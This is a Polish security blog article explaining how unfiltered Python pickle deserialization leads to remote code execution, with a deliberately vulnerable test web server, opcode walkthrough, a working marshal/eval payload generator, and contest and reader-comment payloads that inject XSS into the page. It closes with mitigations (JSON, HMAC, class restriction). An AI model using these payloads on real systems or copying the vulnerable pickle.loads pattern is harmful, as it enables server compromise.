-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Unpickle – deserializacja w Pythonie i zdalne wykonywanie kodu (+ konkurs)

03 lipca 2014, 18:11 | Teksty | komentarzy 11
W tym artykule pokażę uniwersalny sposób na wykorzystanie niefiltrowanej deserializacji danych w Pythonie do wykonywania dowolnego kodu po stronie ofiary.
Przed przeczytaniem tego tekstu, zalecam zapoznać się z artykułem o Object Injection, gdzie opisana jest analogiczna podatność w PHP.

(De)serializacja w Pythonie

W Pythonie do serializacji/deserializacji danych najczęściej używany jest moduł pickle. Serializację wykonuje się z użyciem metody pickle.dumps, zaś deserializację metodą pickle.loads. Podobnie jak w przypadku PHP, dokumentacja modułu pickle ostrzega przed używaniem go do niezaufanych danych.

Ostrzeżenie z dokumentacji pickle

Ostrzeżenie z dokumentacji pickle

W tym tekście wyjaśnię, w jaki sposób deserializacja danych z niezaufanych źródeł w Pythonie może prowadzić do zdalnego wykonywania kodu.

Swego czasu, gdy poszukiwałem błędów na stronach Google’a, natrafiłem na witrynę Google Online Enrollment System, która była podatna na opisywany problem. W jednym z wyszukiwań deserializowano obiekt typu datetime. Jako że błąd oczywiście został już dawno naprawiony, przygotowałem prostą aplikację symulującą zachowanie tej witryny.

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from urlparse import urlparse, parse_qs
from datetime import datetime
import pickle
import base64, cgi

DEFAULT_DATE = base64.b64encode(pickle.dumps(datetime.now()))

TEMPLATE='''<strong>Year:</strong> {}<br>
<strong>Month:</strong> {}<br>
<strong>Day:</strong> {}<br>
<form method=GET>
<textarea name=date cols=40 rows=5>{}
</textarea>

<button type="submit">Go on!</button>
</form>
'''

class MyHandler(BaseHTTPRequestHandler):
  def output_error(self, msg):
    self.wfile.write('<p><strong style="color: red;">{}</strong></p>'.format(cgi.escape(msg)))
  def do_GET(self):
    self.send_response(200)
    self.send_header('Content-type', 'text/html; charset=utf8')
    self.end_headers()
    
    get_params = parse_qs(urlparse(self.path).query)
    date_encoded = get_params.get('date', [DEFAULT_DATE])[0]
    
    try:
        date = base64.b64decode(date_encoded)
        date = pickle.loads(date)
    except:
        self.output_error('Error decoding date. Rolling back to default.')
        date_encoded = DEFAULT_DATE
        date = pickle.loads(base64.b64decode(date_encoded))
    try:
      output = TEMPLATE.format(date.year, date.month, date.day, date_encoded)
    except AttributeError:
      self.output_error("Something went wrong. Sorry.")
      output = ''
    self.wfile.write(output)
    return

if __name__ == '__main__':
  try:
    (host, port) = ('127.0.0.1', 9072)
    print "Listening on {}:{}".format(host, port)
    server = HTTPServer((host, port), MyHandler)
    server.serve_forever()
  except KeyboardInterrupt:
    print 'Exit.'

Kod może na pierwszy rzut oka wyglądać skomplikowanie, ale aplikacja w istocie rzeczy jest prosta. Po jej uruchomieniu, pod adresem http://127.0.0.1:9072/ nasłuchiwać będzie serwer z aplikacją. Aplikacja przyjmuje w parametrze GET jeden parametr, którym jest base64 zserializowanego obiektu (tak właśnie wyglądało to we wspomnianej aplikacji Google’a). Aplikacja próbuje zdeserializować ten obiekt i wyświetlić jego atrybuty: year, month oraz day. Na przykład, po wejściu pod URL http://127.0.0.1:9072/?date=Y2RhdGV0aW1lCmRhdGV0aW1lCnAwCihTJ1x4MDdceGRlXHgwNlx4MWRceDBjXHgxOFx4MTdceDAzXHhjMFx4MTMnCnAxCnRwMgpScDMKLg%3D%3D zobaczymy w odpowiedzi:

Testowa aplikacja

Testowa aplikacja

Wartość atrybutu date odpowiada obiektowi pythonowemu: datetime.datetime(2014, 6, 29, 12, 24, 23, 245779). Dla wygody w aplikacji umieściłem pole tekstowe, w którym można wkleić ciąg base64 z ciągiem znaków, który chcemy deserializować.

Jak działa pickle?

W artykule o PHP Object Injection pokazywałem, że wykorzystanie podatności zależy od tego, jakie klasy znajdują się w aplikacji. Nie istniał tam uniwersalny sposób np. na zdalne wykonywanie kodu, który zadziałałby w każdej podatnej aplikacji. W przypadku Pythona i pickle, sprawa ma się lepiej, bowiem niefiltrowane pickle.loads() praktycznie gwarantuje zdalne wykonywanie kodu w aplikacji.

W przeciwieństwie do PHP i kilku innych języków programowania, format serializacji danych używany przez pickle jest de facto mini-językiem programowania, opierającym się na stosie, z własnym zestawem op-code’ów. Deserializacja danych jest więc wykonaniem pewnego kodu przez „maszynę wirtualną” pickle, skutkujące odtworzeniem pierwotnego obiektu.

Listę wszystkich op-code’ów znajdziemy oczywiście w źródłach modułu pickle; poniżej wkleiłem te, które będą nam potrzebne do wykonywania dowolnego kodu.

MARK            = '('   # push special markobject on stack
STOP            = '.'   # every pickle ends with STOP
REDUCE          = 'R'   # apply callable to argtuple, both on stack
STRING          = 'S'   # push string; NL-terminated string argument
GLOBAL          = 'c'   # push self.find_class(modname, name); 2 string args
TUPLE           = 't'   # build tuple from topmost stack items
Tuple (krotka) to typ danych w Pythonie, który można traktować jako niezmienialną listę. Przykładowo(„sekurak”, 33, „pl”)  to krotka składająca się z trzech elementów.

Idąc po kolei:

  • '(’  – wrzucenie na stos specjalnego obiekt MARK, który będzie potrzebny przy opcodzie TUPLE.
  • ’.’  – powoduje zakończenie przetwarzania kodu.
  • ’R’  – pobranie ze szczytu stosu dwóch elementów, gdzie pierwszy jest krotką zawierającą listę argumentów, a drugi jest referencją do funkcji, która zostanie wykonana.
  • ’S’  – wrzucenie na stos ciągu znaków,
  • ’c’  – pobranie ze stosu dwóch elementów – nazwy modułu (modname) i nazwy pola tego modułu (name), następnie na stos wrzucana jest referencja do modname.name.
  • ’t’  – utworzenie krotki idąc na stosie od obiektu MARK do szczytu stosu,

Żeby lepiej zrozumieć działanie poszczególnych opcode’ów, zobaczmy proste przykłady:

1. Deserializujemy ciąg znaków „testowy string”

Pierwszy przykład

Pierwszy przykład

W Pythonie użycie potrójnych apostrofów lub cudzysłowów pozwala tworzyć ciągi znaków składające się z wielu linii.

Przykład dość prosty, w pierwszej linii tworzymy string (za pomocą opcode’u STRING), a w drugiej kończymy opcodem STOP.

2. Tworzymy krotkę.

Drugi przykład

Drugi przykład

Na samym początku wrzucamy na stos obiekt MARK, potem definiujemy trzy stringi, by na końcu opcodem TUPLE utworzyć z nich krotkę.

3. Używamy opcode’u GLOBAL

Trzeci przykład

Trzeci przykład

Korzystamy z opcode’u GLOBAL (’c’), w którym odwołujemy się do obiektu pickle.PickleError.

Przykłady nie powinny być trudne do zrozumienia, zwłaszcza dla osób, które miały styczność z programowaniem w dowolnym asemblerze. Spróbujmy teraz przygotować kod, który spowoduje wywołanie dowolnego polecenia systemu operacyjnego. W Pythonie służy do tego metoda os.system() , jej jedyny argument to nazwa polecenia, które zechcemy wykonać.

Zatem musimy:

  1. Wrzucić na stos referencję do os.system(),
  2. Wrzucić na stos jednoelementową krotkę np. (’ping -c1 sekurak.pl’,).
  3. Skorzystać z opcode’u REDUCE (’R’), by wykonać funkcję ze stosu z argumentami z krotki.

Na podstawie przykładów powyżej, piszemy gotowy kod:

Wykonujemy kod

Wykonujemy kod

Pozostaje więc tylko zakodować zawartość zmiennej x w postaci base64 i spróbować użyć tego w naszej testowej aplikacji.

Zdalne wykonywanie kodu w aplikacji

Zdalne wykonywanie kodu w aplikacji

Aplikacja wyświetla błąd, ale wyjście serwera www pokazuje, że polecenie zostało wykonane. Czyli atak się udał.

Na tym ten artykuł mógłby się zakończyć, ale pokażę jeszcze trochę inne podejście do rozwiązania problemu, podyktowane ograniczeniami narzuconymi przez środowisko, w którym działała wspominana przeze mnie na początku aplikacja Google.

Wykonujemy kod bez os.system

W środowisku Google’a, większość wywołań systemowych (w tym oczywiście os.system) było zablokowanych. Tak więc pomimo zdalnego wykonywania kodu, nie byłem w stanie wykonywać poleceń systemu operacyjnego. Jednak nawet bez tego można próbować wyciągnąć wiele informacji z systemu operacyjnego, korzystając z samych funkcji Pythona (np. os.listdir() do listowania zawartości katalogu). Napiszemy więc kod, który pozwoli nam zserializować dowolną funkcję Pythona.

Wykorzystamy do tego moduł marshal. Marshal jest innym modułem do serializacji w Pythonie. Nie będę wchodził w szczegóły, jaki jest sens używania dwóch różnych modułów do serializacji w bibliotece standardowej Pythona (odsyłam do dokumentacji). Ważne jest to, że marshal, w przeciwieństwie do pickle, potrafi także serializować kod funkcji.

Każda funkcja ma atrybut func_code, który jest reprezentacją skompilowanego kodu funkcji. Atrybut ten zwraca obiekt typu code object. Co ciekawe, code objects mogą być używane jako argumenty do funkcji eval().

Wywoływanie func_code

Wywoływanie func_code

Jak widzimy na przykładzie, zdefiniowałem prostą funkcję f(), a następnie przekazałem jej atrybut func_code jako argument funkcji eval(), po czym funkcja została po prostu wykonana. Z naszego punktu widzenia ważne jest to, że moduł marshal potrafi zserializować ten obiekt. Zobaczmy przykład:

Serializowanie kodu funkcji

Serializowanie kodu funkcji

Gdybyśmy spróbowali użyć modułu pickle do zserializowania tego code object, niestety otrzymalibyśmy wyjątek.

Pickle nie chce współpracować

Pickle nie chce współpracować

Pamiętamy jednak, że nasza testowa aplikacja webowa używa modułu pickle, nie marshal. Nie jest to jednak wielki problem, bo pokazaliśmy już wcześniej, że z modułu pickle potrafimy importować inne moduły oraz wykonywać metody. Dlatego w module pickle potrzebujemy wykonać dwa kroki:

  1. Uzyskać referencję do funkcji marshal.loads(), by zdeserializować code object.
  2. Wynik powyższej deserializacji przekazać do funkcji eval().
Do metody eval() można też uzyskać dostęp przez specjalny moduł __builtin__, tj. __builtin__.eval().

Oto gotowy kod:

#!/usr/bin/python
import base64
import pickle, marshal

def malicious():
  import os
  print "If you can see it, you are RCE-ed ;-)."
  print os.listdir('/')
  
  
def main():
  m = marshal.dumps(malicious.func_code)
  c = '''c__builtin__
eval
(cmarshal
loads
(S"''' + m.encode('string-escape') + '''"
tRtR.'''
  print base64.b64encode(c)
  
if __name__ == '__main__':
  main()

Zaczynamy od definicji funkcji malicious(), w niej znajdzie się kod, który chcemy wykonać po stronie ofiary. W funkcji main() zaczynamy od marshalowania kodu funkcji malicious(), a następnie budujemy kod, który pozwoli ją zdemarshalować. Sprawdźmy jak ten kod działa po kolei:

  1. Wrzucamy na stos referencję do funkcji __builtin__.eval(),
  2. Wrzucamy na stos obiekt MARK, który posłuży do budowania krotki z listą argumentów do funkcji z punktu wyżej,
  3. Wrzucamy na stos referencję do funkcji marshal.loads(),
  4. Wrzucamy na stos obiekt MARK, który posłuży do budowania krotki z listą argumentów do funkcji z punktu wyżej,
  5. Wrzucamy na stos stringa zawierającego zmarshalowany kod funkcji, która ma się wykonać po stronie ofiary,
  6. Budujemy krotkę – od szczytu stosu do obiektu MARK, czyli powstanie jednoelementowa krotka (m,) (gdzie m to zmarshalowany kod funkcji),
  7. Wykonujemy funkcję. W tym momencie zostanie wykonana funkcja marshal.loads(m), a jej wynik zostanie wrzucony na stos.
  8. Budujemy kolejną krotkę. Krotka znów będzie jednoelementowa, tym razem na szczycie stosu jest wynik wywołania funkcji z punktu powyżej, a więc powstanie (marshal.loads(m),).
  9. Wykonujemy funkcję. Zostanie wywołana funkcja __builtin__.eval z argumentami z krotki, a więc __builtin__.eval(marshal.loads(m)). To jest moment, w którym nastąpi wykonanie kodu funkcji malicious().

Na samym końcu kod dla pickle jest jeszcze zamieniany na base64 – dla wygody, ponieważ taki format jest oczekiwany przez testową aplikację webową.

Teraz wykonajmy ten kod, wklejmy wynikowy base64 do aplikacji i zobaczmy co się stanie :)

"If you can see it, you are RCE-ed ;-)."

„If you can see it, you are RCE-ed ;-).”

Aplikacja znów wyświetla błąd, ale logi serwera wyraźnie pokazują, że kod się wykonał. Sukces! Potrafimy już wykonać dowolny kod Pythona po stronie serwera :)

Podsumowanie

Podobnie jak w przypadku PHP, jeśli nie jest to koniecznie potrzebne, najlepiej zrezygnować z pickle na rzecz innych modułów do zapisu obiektów (np. JSON). Jeśli używanie pickle jest konieczne, warto pomyśleć o zastosowaniu zabezpieczenia HMAC. Dokumentacja Pythona w wersji 3 przedstawia jeszcze jeden sposób na ograniczenie klas, które można importować. Ten sam sposób działa również w Pythonie 2.

Główna różnica między Pythonem i PHP jest taka, że niefiltrowana deserializacja w Pythonie praktycznie gwarantuje możliwość wykonywania dowolnego kodu.

Konkurs

Proponujemy mały konkurs dla wytrwałych czytelników związany z tematyką tego tekstu. Do wygrania książka The Hacker Playbook: Practical Guide To Penetration Testing. (swoją drogą przypominam o sekurakowej księgarni). Dostanie ją osoba, która jako pierwsza podeśle na adres konkurs@sekurak.pl taki payload do parametru date w testowej aplikacji, który spowoduje wywołanie XSS-a w przeglądarce użytkownika. Na przykład poniżej pokazano XSS-a o treści XSS <u style=”color: green;”>here</u> :)<br><br> ;)

XSS

XSS

Rozwiązanie nie jest trywialne, potrzebna będzie dociekliwość (lub pewna znajomość Pythona), ale nie jest również bardzo trudne. Powodzenia!

UPDATE: jako pierwszy (19:46) prawidłowe rozwiązanie (szczegóły poniżej) podesłał Adam Dobrawy – gratulacje!

Y19fYnVpbHRpbl9fCmV2YWwKKGNtYXJzaGFsCmxvYWRzCihTImNceDAwXHgwMFx4MDBceDAwXHgwMVx4MDBceDAwXHgwMFx4MDNceDAwXHgwMFx4MDBDXHgwMFx4MDBceDAwcyNceDAwXHgwMFx4MDBkXHgwMVx4MDBkXHgwMFx4MDBsXHgwMFx4MDB9XHgwMFx4MDBkXHgwMlx4MDBceDg0XHgwMFx4MDB8XHgwMFx4MDBqXHgwMVx4MDBkXHgwM1x4MDBceDE5X1x4MDJceDAwZFx4MDBceDAwUyhceDA0XHgwMFx4MDBceDAwTmlceGZmXHhmZlx4ZmZceGZmY1x4MDFceDAwXHgwMFx4MDBceDAxXHgwMFx4MDBceDAwXHgwMVx4MDBceDAwXHgwMFNceDAwXHgwMFx4MDBzXHgwNFx4MDBceDAwXHgwMGRceDAxXHgwMFMoXHgwMlx4MDBceDAwXHgwME5zXHgwY1x4MDBceDAwXHgwMDxIMT5YU1M8L2gxPihceDAwXHgwMFx4MDBceDAwKFx4MDFceDAwXHgwMFx4MDB0XHgwMVx4MDBceDAwXHgwMHgoXHgwMFx4MDBceDAwXHgwMChceDAwXHgwMFx4MDBceDAwc1x4MDVceDAwXHgwMFx4MDBhYS5weXRceDA4XHgwMFx4MDBceDAwPGxhbWJkYT5ceDA3XHgwMFx4MDBceDAwc1x4MDBceDAwXHgwMFx4MDB0XHgwM1x4MDBceDAwXHgwMGNnaShceDAzXHgwMFx4MDBceDAwdFx4MDNceDAwXHgwMFx4MDBzeXN0XHgwN1x4MDBceDAwXHgwMG1vZHVsZXN0XHgwNlx4MDBceDAwXHgwMGVzY2FwZShceDAxXHgwMFx4MDBceDAwUlx4MDNceDAwXHgwMFx4MDAoXHgwMFx4MDBceDAwXHgwMChceDAwXHgwMFx4MDBceDAwc1x4MDVceDAwXHgwMFx4MDBhYS5weXRcdFx4MDBceDAwXHgwMG1hbGljaW91c1x4MDVceDAwXHgwMFx4MDBzXHgwNFx4MDBceDAwXHgwMFx4MDBceDAxXHgwY1x4MDEiCnRSdFIu

#!/usr/bin/python
import base64
import pickle, marshal
 
def malicious():
  import sys
  sys.modules['cgi'].escape=lambda x:'<H1>XSS</h1>'
  #MyHandler.output_error = lambda x: "<h1>XSS</h1>"
 
def main():
  m = marshal.dumps(malicious.func_code)
  c = '''c__builtin__
eval
(cmarshal
loads
(S"''' + m.encode('string-escape') + '''"
tRtR.'''
  #print c
  print base64.b64encode(c)
 
if __name__ == '__main__':
  main()

 

 

Michał Bentkowski

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. bl4de

    @Michał – widzę, że się rozkręcasz :) Świetny tekst zresztą :)

    Odpowiedz
    • No dokładnie. Dla mnie osobiście jeden z najlepszych, jak nie najlepszy tekst, który tutaj przeczytałem ;)

      Odpowiedz
      • Widać opłaciło się przeczekać trochę zastój na sekuraku ;-)

        Odpowiedz
        • chesteroni

          No są jeszcze zaległe prace konkursowe do publikacji ;-)

          Odpowiedz
          • Zgadza się – już nawet kolejna jest złożona w WP. Ale będziemy tradycyjnie dawkować wiedzę – nie wszystko na raz ;-)

  2. A czy redakcja Sekurak zamierza przedstawić także inne koncepcje rozwiązania zagadki? Załączony obrazek wskazuje, że udało się napisać taki payload, aby kod wykonany w linii 32 wstrzyknął kod HTML bezpośrednio do wyjścia serwera. Ja nie mam koncepcji jak wywołać odpowiednik „self.wfile.write” z linii 22 w tym kontekście, a wygląda na to, że właśnie taką operacje przeprowadzono.

    Odpowiedz
    • Damien

      Gratulacje:)

      Odpowiedz
      • Damien

        Aaaa i jeszcze coś. Nie działa wam coś ta antyspamowa wyliczanka. Po cofnięciu formularza i z powrotem nie odświeża się wyliczanka, pozostaje stara.
        Z drugiej strony mało tutaj spamerów i raczej nie grozi wam zalew spamu w komentach ;p

        Odpowiedz
    • Ja z kolei zrobiłem payload z wykorzystaniem „anonimowego obiektu” i wstrzyknąłem XSS bezpośrednio do date.year ;-) Nie mam kodu pod ręką, ale coś w stylu:


      def malicious():
      return type(”,(object,),{’year’:’xss payload’,’month’:1,’day’:1})()

      Odpowiedz
    • Zasadniczo w rozwiązaniach pojawiły się trzy koncepcje rozwiązania problemu (w tym taka, jak na moim screenie). Napiszę w weekend krótką notkę do działu „W biegu” z opisem każdej z nich.

      Odpowiedz
    • Krzysztof

      def malicious():
      __import__(„inspect”).stack()[4][0].f_locals[„self”].wfile.write(„XSS!”)

      Odpowiedz

Odpowiedz na redeemer